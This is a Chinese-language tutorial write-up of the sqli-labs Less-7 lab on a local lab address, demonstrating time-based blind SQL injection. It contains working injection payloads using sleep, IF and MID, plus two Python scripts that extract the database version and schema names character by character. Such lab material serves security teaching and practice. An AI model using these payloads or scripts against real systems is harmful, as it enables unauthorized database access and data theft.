基于时间的盲注,http://172.16.61.136/sqli-labs/Less-7/?id=1发现怎么写都不会爆出实际的错误了,返回值是下面两个之一

经过测试,发现http://172.16.61.136/sqli-labs/Less-7/?id=1', id 后面添加单引号的时候会报错,双引号没问题,说明 id 是被单引号括起来的,但是http://172.16.61.136/sqli-labs/Less-7/?id=1' --+,后面如果添加注释的话还是会报错的,说明不仅仅是被单引号括起来的,但是能加的应该只有括号了吧,之前也有这样的例子,后来发现添加两个括号就可以了。所以 sql 语句应该是类似 select * from table where id=(('$id'))

sql 语句中有一个 sleep 函数,一般这种不会报错的注入就要使用 sleep 了,测试一下。http://172.16.61.136/sqli-labs/Less-7/?id=1')) union select 1, 2, sleep(3) --+是过了三秒才响应的,说明 sql 注入确实存在。

但是实际应用中,怎么利用 sleep 来获取数据呢,一般的思路就是用 sql 语句中的 if 和 mid,来逐位的判断数据。

其中,MySQL 的 if 的用法是这样的

IF(expr1,expr2,expr3)

If expr1 is TRUE (expr1 <> 0 and expr1 <> NULL) then IF() returns expr2; otherwise it returns expr3. IF() returns a numeric or string value, depending on the context in which it is used.

如果 expr1 是 TRUE,就执行 expr2,否则就执行 expr3。

然后我们就可以这样逐位的去判断结果了,比如

select * from security.users where id =1 and if(ord(mid(version(),1,1))=53, sleep(3), 1);

这种基于时间的一般请求比较多,适合用代码来处理,比如获取 version() 的例子。

# coding=utf-8
import requests
import time

url = "http://172.16.61.144/sqli-labs/Less-7/?id=1')) and if(ord(mid(version(), {position}, 1))={ord}, sleep(0.3), 1) --+"

for position in range(1, 50):
    flag = False
    for i in range(32, 127):
        start_time = time.time()
        u = url.format(position=position, ord=i)
        requests.get(u)
        end_time = time.time()
        if end_time - start_time > 0.3:
            flag = True
            print chr(i),
            break
    if not flag:
        break

其中我 sleep 了 0.3秒,因为测试环境在我的电脑上,正常访问肯定不会超过300毫秒的,但是实际情况下,要适当的加长的,防止被网速误导。

稍微改下就可以获取全部数据库了

# coding=utf-8
import requests
import time

url = "http://172.16.61.144/sqli-labs/Less-7/?id=1')) and if(ord(mid((select schema_name from information_schema.schemata limit 1 offset {offset}), {position}, 1))={ord}, sleep(0.3), 1) --+"

for offset in range(10):
    for position in range(1, 50):
        flag2 = False
        for i in range(32, 127):
            start_time = time.time()
            u = url.format(offset=offset, position=position, ord=i)
            requests.get(u)
            end_time = time.time()
            if end_time - start_time > 0.3:
                flag2 = True
                print chr(i),
                break
        if not flag2:
            break
    print

这段代码没加 flag 控制,数据库还多的话,自己加一下 range。

然后同理可以获取到数据库的表和表的字段和具体的内容。